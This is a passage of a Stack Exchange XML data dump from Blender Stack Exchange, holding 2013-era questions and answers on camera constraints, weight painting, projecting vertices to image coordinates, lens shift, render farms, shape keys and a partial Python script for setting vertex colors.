&lt;em&gt;To:&lt;/em&gt; axis to &lt;em&gt;-Z&lt;/em&gt; and the &lt;em&gt;Up:&lt;/em&gt; axis to &lt;em&gt;Y&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img src=&quot;https://i.stack.imgur.com/ExJC4.png&quot; alt=&quot;Track To Constraint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your camera will always point to the empty, making things easier for you to position. &lt;/p&gt;&#xA;" OwnerUserId="543" LastEditorUserId="20508" LastEditDate="2016-07-18T20:07:17.537" LastActivityDate="2016-07-18T20:07:17.537" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="880" PostTypeId="2" ParentId="850" CreationDate="2013-06-11T05:39:19.547" Score="0" Body="&lt;p&gt;I highly recommend using the weight paint to better customize the influence your armature has on the clothing objects for your character. Deforming via envelopes can be a quick solution for simple objects, but for full control you will need to become more acquainted with Weight Painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weight Painting will allow you to customize how your object responds to the influence of your armature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a pretty good explanation on Weight Painting:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=TBS1qy4jzTg&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=TBS1qy4jzTg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="543" LastActivityDate="2013-06-11T05:39:19.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="881" PostTypeId="2" ParentId="850" CreationDate="2013-06-11T06:10:29.747" Score="3" Body="&lt;p&gt;You can't modify the bone envelope's scale at individual axis, separately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bone's envelope distance is stored as a single attribute &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.Bone.html#bpy.types.Bone.envelope_distance&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;envelope_distance&lt;/code&gt;&lt;/a&gt;, without any way to modify it for a single axis. This is unlike b-bone scale which is stored separately in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.Bone.html#bpy.types.Bone.bbone_x&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bbone_x&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.Bone.html#bpy.types.Bone.bbone_z&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bbone_z&lt;/code&gt;&lt;/a&gt;, thus can be scaled separately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your only choice here is through weight painting, already elaborated in the other answers posted before mine.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-06-11T06:10:29.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="882" PostTypeId="1" AcceptedAnswerId="1008" CreationDate="2013-06-11T08:43:57.940" Score="32" ViewCount="20135" Body="&lt;p&gt;I have a simple mesh of a cube.  I would like to know what are the coordinates of each vertex in the rendered image (i.e. for each 3d vertex I'd like to know it's pixel coordinates).  Is there a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clarification:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm experimenting with a pose estimation algorithm (i.e. finding out the 3d pose of the object) from a (set of) 2d image(s).  Instead of taking an image of a real object with a real camera I synthetically render the image of a cube using blender.  In this way I know the pose of the object and the intrinsics of the camera, so I can easily validate the results of the pose estimation algorithm.&#xA;Pose estimation algorithms usually require to provide them with world points on the object and the corresponding image points.  So what I'm looking for is a way to produce a dump of correspondences of the 3d point &amp;lt;--&gt; image point as a byproduct of the rendering procedure.&#xA;Thanks,&#xA;Alex&lt;/p&gt;&#xA;" OwnerUserId="549" LastEditorUserId="549" LastEditDate="2013-06-12T07:18:47.277" LastActivityDate="2021-03-09T11:25:57.927" Title="How to find image coordinates of the rendered vertex?" Tags="&lt;rendering&gt;" AnswerCount="7" CommentCount="4" FavoriteCount="21" ContentLicense="CC BY-SA 3.0" />
  <row Id="883" PostTypeId="1" AcceptedAnswerId="889" CreationDate="2013-06-11T08:48:58.510" Score="12" ViewCount="2079" Body="&lt;p&gt;Pinhole camera model includes a principal point (just to be clear, it appears here: &lt;a href=&quot;http://en.wikipedia.org/wiki/Pinhole_camera_model&quot;&gt;http://en.wikipedia.org/wiki/Pinhole_camera_model&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set these camera param s.t. it will be used for rendering an image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Alex&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-06-11T12:26:31.640" Title="How to set a principal point for a camera" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="884" PostTypeId="2" ParentId="882" CreationDate="2013-06-11T09:35:39.430" Score="11" Body="&lt;p&gt;I am not very good with python so I will not give some code here, but I will try to cover the theoretical/mathematical part of the question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are standard 3D graphics manipulations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some more information: Vectors in 3D graphics are 4 dimensional entities. The 3 first coordinates correspond to the euclidean space x,y,z coordinates, usually in local or model space and the last coordinate is the &lt;code&gt;w&lt;/code&gt; or &lt;em&gt;homogenous coordinate&lt;/em&gt;, which is used for perspective effects, translation in 3d space and for clipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, 3D space matrices are 4x4 matrices, so that they can handle the 4 dimensional vertices. Usually when a vertex is transformed to screen space, the initial value of &lt;code&gt;w&lt;/code&gt; is &lt;code&gt;1.0&lt;/code&gt;. There are other values to use but they are for more advanced use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transforming to screen space is simply a matter of transforming the vertex by the Model matrix &lt;code&gt;M&lt;/code&gt;, to transform the vertex to &lt;em&gt;world space&lt;/em&gt; (where the model resides on the 3D world), by the camera matrix &lt;code&gt;C&lt;/code&gt;, to transform it to the reference frame of the camera, or &lt;em&gt;camera space&lt;/em&gt;, by the projection matrix &lt;code&gt;P&lt;/code&gt; to account for projection effects (called &lt;em&gt;projection space&lt;/em&gt;), do perspective division and clipping and finally turn the resulting coordinates to pixel space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the vertex is &lt;code&gt;v&lt;/code&gt;, you have to do &lt;code&gt;P*C*M*v&lt;/code&gt; (remember matrix multiplications are non-commutative! Order of multiplication is important!). This has transformed the vector to projection space&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you need to clip the vector. If any of the vector's 3 first components is greater in absolute value than the fourth component, then it is outside the field of view of the camera and should be clipped. If the vector is not clipped, then you need to divide each of the 3 components of the vector by the &lt;code&gt;w&lt;/code&gt; coordinate. So if the projection space vector is &lt;code&gt;(x,y,z,w)&lt;/code&gt;, after clipping you get the &lt;em&gt;screen space&lt;/em&gt; coordinates &lt;code&gt;(x/w, y/w, z/w, 1)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will yield normalized coordinates with range &lt;code&gt;{-1.0, 1.0}&lt;/code&gt;. To convert to pixel space, you need to know the width and height of the screen in pixels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Screen&quot; here, may not refer to an actual screen, but can be the rendered image. What changes in the description is that instead of an actual screen width/height, you have the x/y resolution of the rendered image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;(sx, sy)&lt;/code&gt; are the screen space vector x and y coordinates and w, h are the height and width of the screen, or image, then&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;x = w/2 * (1.0 + sx)&lt;/code&gt; will give the x position in screen space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the y component it may be a little more complicated because usually pixel space is counted from the bottom of the screen up, while operating systems count it on reverse. So, depending on the occasion it may be either&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;y = h/2 * (1.0 + sy)&lt;/code&gt; or&lt;br&gt;&#xA;&lt;code&gt;y = h/2 * (1.0 - sy)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A warning though, the names of the spaces can be different in some textbooks. I hope that I have managed to relay the general idea though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information I recommend reading&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.glprogramming.com/red/appendixf.html&quot; rel=&quot;nofollow&quot;&gt;http://www.glprogramming.com/red/appendixf.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="465" LastEditorUserId="55" LastEditDate="2016-01-18T23:02:42.857" LastActivityDate="2016-01-18T23:02:42.857" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="886" PostTypeId="1" AcceptedAnswerId="902" CreationDate="2013-06-11T11:05:06.980" Score="10" ViewCount="2706" Body="&lt;p&gt;I have lost functionality in the tool shelf. When I click on a selector or something in the bottom part of the tool self that you can hide and unhide, nothing happens. I can see the options but when I click it doesn't work. See screenshot where it says &quot;Add Cylinder&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GEKC1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="438" LastEditorUserId="599" LastEditDate="2014-07-08T08:14:29.740" LastActivityDate="2020-09-01T16:56:28.203" Title="Bottom of tool shelf grayed out" Tags="&lt;interface&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="887" PostTypeId="2" ParentId="866" CreationDate="2013-06-11T12:07:21.163" Score="1" Body="&lt;p&gt;I just tried something else, which works... (with Blender 2.67b, however)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new empty blend file, and linked both the character AND the scarf into it. I had to re-configure the cloth settings of the scarf because it seems these ones aren't linkable, but worked like a charm. And since it's the final &quot;workflow&quot; we're looking for (i.e. linking both the scarf and the character, into another &quot;scene&quot; .blend file), it's great !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, it might be a bug of the 2.67 (before &quot;bugfixes&quot; releases)...&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-06-11T12:07:21.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="888" PostTypeId="2" ParentId="883" CreationDate="2013-06-11T12:20:51.190" Score="7" Body="&lt;p&gt;The Cycles render engine is so realistic, you can create your own pinhole camera (&lt;a href=&quot;http://bensimonds.com/2013/03/04/cycles-experiment-pinhole-camera/&quot; rel=&quot;noreferrer&quot;&gt;http://bensimonds.com/2013/03/04/cycles-experiment-pinhole-camera/&lt;/a&gt;). While this is cool, what I think your really asking is how to set the center of the image(or maybe the exposure):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A point R at the intersection of the optical axis and the image plane.&#xA;  This point is referred to as the principal point or &lt;strong&gt;&lt;em&gt;image center&lt;/em&gt;&lt;/strong&gt;.&#xA;  (&lt;em&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Pinhole_camera_model&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia&lt;/a&gt;&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can set the center of the image by positioning the camera (use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; to fly the camera).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're talking about exposure (how much light is allowed to touch the film), you can change that in the Cycles render panel under film:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mU8gh.png&quot; alt=&quot;Exposure Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-11T12:20:51.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="889" PostTypeId="2" ParentId="883" CreationDate="2013-06-11T12:26:31.640" Score="14" Body="&lt;p&gt;I'm not entirely sure what you're looking for, but it sounds like the lens's Shift properties.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HSjtQ.png&quot; alt=&quot;Camera lens settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the default settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fWw7a.png&quot; alt=&quot;Default shift values&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's the same camera with an X-axis shift of 0.2:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tD8lZ.png&quot; alt=&quot;X-axis shift at 0.2 - Y-axis remaining at 0.0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is not the same as simply rotating the camera - adjusting the Shift doesn't change the perspective. You can think of it as if you had a larger image and you cropped a side of it off.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-06-11T12:26:31.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="892" PostTypeId="1" CreationDate="2013-06-11T13:21:34.990" Score="12" ViewCount="826" Body="&lt;p&gt;I want to use pre-simulated smoke simulation assets from a library to avoid having to re-bake each time. For example, a large open scene with several smoke stacks rising off of a ground plane, I would simulate one smoke stack, bake the cache to an external file and then in my new scene file link same-sized cubes to the pre-baked caches and move and rotate them around to duplicate that particular smoke simulation. Is it possible to offset these by time so they're not exactly the same, or is it only possible with separate caches for each?&lt;/p&gt;&#xA;" OwnerUserId="554" LastEditorUserId="20" LastEditDate="2013-06-11T13:41:55.860" LastActivityDate="2013-06-12T08:27:42.510" Title="How to offset multiple smoke instances by time?" Tags="&lt;workflow&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="893" PostTypeId="2" ParentId="766" CreationDate="2013-06-11T14:22:21.333" Score="1" Body="&lt;p&gt;It seems like your question has two parts: &lt;br&gt;&#xA;1) can I export to pdf?&lt;br&gt;&#xA;and 2) can I generate blueprints with blender? &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer to both are no, not with some extra steps (i.e. no script or addons, you'd have to do it manually using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/3D_interaction/Navigating/3D_View&quot; rel=&quot;nofollow&quot;&gt;Orthographic&lt;/a&gt; view.)&#xA;&lt;br&gt;&#xA;To actually make the image, you might want to render in &lt;a href=&quot;http://www.youtube.com/watch?v=73W8Eook78M&quot; rel=&quot;nofollow&quot;&gt;wireframe&lt;/a&gt;, (or do screencapture) then Export an image and make your pdf with that. (For screencapture on Windows, press &quot;PrntScn&quot; and then &quot;Ctrl-V&quot; in Paint or Photoshop to capture the GUI, before you last edit you were asking for a GUI capture.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;addendum: You might want to get in contact with these people: &lt;a href=&quot;http://www.blendernation.com/2013/06/12/blueprint-repository/#utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3a+Blendernation+%28BlenderNation%29&quot; rel=&quot;nofollow&quot;&gt;Blueprints Collection&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="556" LastEditorUserId="47" LastEditDate="2013-06-13T08:45:42.290" LastActivityDate="2013-06-13T08:45:42.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="894" PostTypeId="5" CreationDate="2013-06-11T14:51:19.110" Score="0" Body="&lt;p&gt;&lt;em&gt;Cloth simulation&lt;/em&gt; is one of the hardest aspects of computer graphics, it is a deceptively simple real-world item that is taken for granted, but it actually has very complex internal and environmental interactions. Cloth is commonly modeled as 2D mesh to simulate real world objects such as fabrics, flags, banners. And yet cloth can also be used to model 3D objects such as teddy bears, pillows, balloons, or balls.&lt;/p&gt;&#xA;&lt;p&gt;Cloth interacts with and is affected by other moving objects, the wind and other forces, as well as a general aerodynamic model, all of which is under your control&lt;/p&gt;&#xA;&lt;p&gt;Blender's cloth simulator settings can be found in &lt;em&gt;Properties &amp;gt; Physics &amp;gt; Cloth&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;More information can be found at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/cloth/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-20T17:07:42.200" LastActivityDate="2020-10-20T17:07:42.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="895" PostTypeId="4" CreationDate="2013-06-11T14:51:19.110" Score="0" Body="Questions pertaining to Blender's built-in cloth simulator. Blender's cloth simulator is accessed in the Physics panel. " OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-07-17T01:39:46.197" LastActivityDate="2013-07-17T01:39:46.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="896" PostTypeId="2" ParentId="89" CreationDate="2013-06-11T15:16:38.750" Score="9" Body="&lt;p&gt;As a product designer and object rendering professional NGONs&#xA;are an essencial tool for my workflow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;they reduce the polygon count&lt;/li&gt;&#xA;&lt;li&gt;clean up the model&lt;/li&gt;&#xA;&lt;li&gt;make beveling of planar edges much easier&lt;/li&gt;&#xA;&lt;li&gt;greatly simplify UV texturing because of less dense mesh&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;enable local subdivisions inside the mesh of the polygon mesh when modeling&#xA;organic objects and the subdivision surface modifier generates a perfect quad based&#xA;mesh for you&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;this simulates T-Splines for NURBS modeling and is thus a totally valid modeling tool for organic product design&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When exporting, applying the subdivision surface modifier will generate a perfect quad&#xA;mesh mode for you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For character animators or game asset design NGONS as mentioned should not be in the finale model at all.&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-06-11T15:16:38.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="897" PostTypeId="1" CreationDate="2013-06-11T15:31:01.633" Score="7" ViewCount="1007" Body="&lt;p&gt;I want to create a leaf spring which can be used in a physical simulation to spring away the objects when it is being deformed. Should I use a soft body to do this? However, it doesn't seem like soft bodies could accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="566" LastEditorUserId="14" LastEditDate="2013-09-03T14:29:39.897" LastActivityDate="2013-09-03T14:29:39.897" Title="How to create a workable leaf spring in Blender?" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="898" PostTypeId="2" ParentId="766" CreationDate="2013-06-11T15:34:14.987" Score="9" Body="&lt;h1&gt;&lt;a href=&quot;http://www.geocities.jp/blenderyard/freestyle/svgwriter_b26/README.html&quot; rel=&quot;nofollow&quot;&gt;SVGWriter for Blender/Freestyle&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The SVGWriter package provides a set of Python script files for authoring SVG documents with Blender and Freestyle.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nowadays, &lt;a href=&quot;https://en.wikipedia.org/wiki/Scalable_Vector_Graphics&quot; rel=&quot;nofollow&quot;&gt;SVG&lt;/a&gt;s are more portable than PDF, with support in all major browsers. There are also many free tools that can convert them to PDF if that's required. One such program is &lt;a href=&quot;http://www.pdfaid.com/svg-to-pdf-conversion.aspx&quot; rel=&quot;nofollow&quot;&gt;PDFAid&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="20508" LastEditDate="2016-07-01T15:25:23.283" LastActivityDate="2016-07-01T15:25:23.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="899" PostTypeId="1" CreationDate="2013-06-11T15:56:35.230" Score="7" ViewCount="1405" Body="&lt;p&gt;What would be the best way to animate a smooth transition between a mostly normal hand and a large blade? (The blade is part of the arm.) Something like clayface or prototype?&lt;/p&gt;&#xA;" OwnerUserId="569" LastEditorUserId="72" LastEditDate="2013-06-11T20:28:42.533" LastActivityDate="2013-06-11T20:28:42.533" Title="How can I transition between two shapes?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="900" PostTypeId="5" CreationDate="2013-06-11T16:26:08.047" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-11T16:26:08.047" LastActivityDate="2013-06-11T16:26:08.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="901" PostTypeId="4" CreationDate="2013-06-11T16:26:08.047" Score="0" Body="Questions pertaining to Blenders NURBS (Non-Uniform Rational B-Spline) curve system" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-24T02:45:21.860" LastActivityDate="2013-06-24T02:45:21.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="902" PostTypeId="2" ParentId="886" CreationDate="2013-06-11T16:53:41.937" Score="7" Body="&lt;p&gt;It's likely caused by one (or more) of the many add-ons you have enabled. Try launching Blender from a console/command-prompt and see if any errors are being reported. Failing that you can go File&gt;Load Factory Setting and start enabling stuff while checking for breakage.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-06-11T16:53:41.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="903" PostTypeId="2" ParentId="899" CreationDate="2013-06-11T16:56:36.717" Score="7" Body="&lt;p&gt;I would recommend using shape keys. Shape keys will warp between one shape to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use shape keys. Create the default mesh, then go to edit mode and scroll down to the shape keys section. Click the plus and model the blade(make sure to use the same vertices as the hand model). Exit edit mode, and drag the influence slider to change the shape.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-11T16:56:36.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="904" PostTypeId="1" AcceptedAnswerId="923" CreationDate="2013-06-11T17:13:57.580" Score="7" ViewCount="2062" Body="&lt;p&gt;I have a character I want to unwrap. I marked my seams and when I hit &quot;unwrap&quot; all islands are  auto-rearranged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a great function but I need to overlap mirrored unwraps and the different scale and rotation of each island makes this difficult. Overlapping results not perfect as I would like. Is there a way to avoid this auto arrangement?&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="12" LastEditDate="2013-06-12T09:21:51.943" LastActivityDate="2013-06-12T09:21:51.943" Title="Is there a way to have the unwrapping function not rearrange islands?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="906" PostTypeId="1" CreationDate="2013-06-11T17:25:33.050" Score="11" ViewCount="12383" Body="&lt;p&gt;I have quite a few computers at my disposal- about 100 mac pro's bought 2 years ago, just as many windows PC's of varying age (1-3 years), 50 linux machines and a good few terabytes of storage on a central server. I'm seriously considering getting everything together into a cycles render farm. How can I set something up easily and quickly which will make use of everything I've got?&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2016-05-20T14:33:40.843" Title="Set up a render farm with multiple OS and spec" Tags="&lt;rendering&gt;&lt;network&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="908" PostTypeId="2" ParentId="906" CreationDate="2013-06-11T19:05:19.500" Score="7" Body="&lt;p&gt;You could install BURP on one or more machines, and the BOINC client on the rest. That way you don't have to worry too much about the composition of your farm. This is what we also use on &lt;a href=&quot;http://www.renderfarm.fi&quot;&gt;Renderfarm.fi&lt;/a&gt; as our backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BURP:&lt;/strong&gt; &lt;a href=&quot;http://development.burp.renderfarming.net/projects/burp/wiki/How_to_download_the_code&quot;&gt;http://development.burp.renderfarming.net/projects/burp/wiki/How_to_download_the_code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="12" LastEditDate="2013-06-11T19:25:14.303" LastActivityDate="2013-06-11T19:25:14.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="909" PostTypeId="1" CreationDate="2013-06-11T19:19:59.297" Score="27" ViewCount="29246" Body="&lt;p&gt;I can't find a way to display RGB values (or equivalent) without using the python shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to get and set color values numerically (ie. not painting), I can't find it for weight painting either (I expected it to appear in the &quot;n&quot; panel with something like &quot;vertex&quot; as a title).&lt;/p&gt;&#xA;" OwnerUserId="580" LastEditorUserId="47" LastEditDate="2013-06-11T23:54:02.483" LastActivityDate="2020-05-13T09:31:07.787" Title="How can I set and get the vertex color property?" Tags="&lt;customization&gt;&lt;interface&gt;&lt;vertex-colors&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="910" PostTypeId="2" ParentId="906" CreationDate="2013-06-11T19:42:54.433" Score="5" Body="&lt;p&gt;I would recommend using the network render add-on. It's since Blender is cross-compatible, they should all work together fairly well(I've made it work between Mac and Windows). The docs are here: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Performance/Netrender&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Performance/Netrender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically to sum it up, you'll have to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable the Network Render Addon&lt;/li&gt;&#xA;&lt;li&gt;Create a master server&lt;/li&gt;&#xA;&lt;li&gt;Create the slaves and connect them to the master&lt;/li&gt;&#xA;&lt;li&gt;In the master settings, set the render engine to Cycles.&lt;/li&gt;&#xA;&lt;li&gt;Render!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-11T19:42:54.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="911" PostTypeId="2" ParentId="909" CreationDate="2013-06-11T20:03:09.647" Score="22" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;I would like to get and set color values numerically (ie. not painting),&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There may be add-ons that cater to this, but at present (March 2016)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender doesn't have a (non-Python) way to set the Vertex Colors per selected vertex/vertices. &lt;em&gt;Per face&lt;/em&gt; is however, as stated below, not a problem.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is no built-in interface (yet) to get the rgb value of a selected Vertex. Each vertex can be shared by a number of faces, therefore a vertex doesn't necessarily have one color associated with it.  Behind the scenes the Vertex Colors are not stored in the data per vertex but in a Vertex Color layer, which stores vertex colors for each face of the mesh.&lt;/p&gt;&#xA;&lt;p&gt;Possibly this explains that a bit more clear. There are 9 verts in this subdivided plane, and the middle vertex is used in 4 faces and therefore has 4 different colors associated.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Y6YZk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y6YZk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Vertex Color Map&lt;/h3&gt;&#xA;&lt;p&gt;You can set a collection of faces to one colour in vertex paint mode, by selecting them and setting the colour from the colour picker, then &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;K&lt;/kbd&gt; will fill the selection with that colour. You can  enter numericals into the Blender colour picker.&lt;/p&gt;&#xA;&lt;p&gt;You can pick faces with &lt;code&gt;face selection masking&lt;/code&gt; &lt;img src=&quot;https://i.stack.imgur.com/a6HX4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to do it by script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA; &#xA;# start in object mode&#xA;obj = bpy.data.objects[&amp;quot;Cube&amp;quot;]&#xA;mesh = obj.data&#xA;&#xA;if not mesh.vertex_colors:&#xA;    mesh.vertex_colors.new()&#xA;&#xA;&amp;quot;&amp;quot;&amp;quot;&#xA;let us assume for sake of brevity that there is now &#xA;a vertex color map called  'Col'    &#xA;&amp;quot;&amp;quot;&amp;quot;&#xA;&#xA;color_layer = mesh.vertex_colors[&amp;quot;Col&amp;quot;]&#xA;&#xA;# or you could avoid using the color_layer name&#xA;# color_layer = mesh.vertex_colors.active  &#xA;&#xA;i = 0&#xA;for poly in mesh.polygons:&#xA;    for idx in 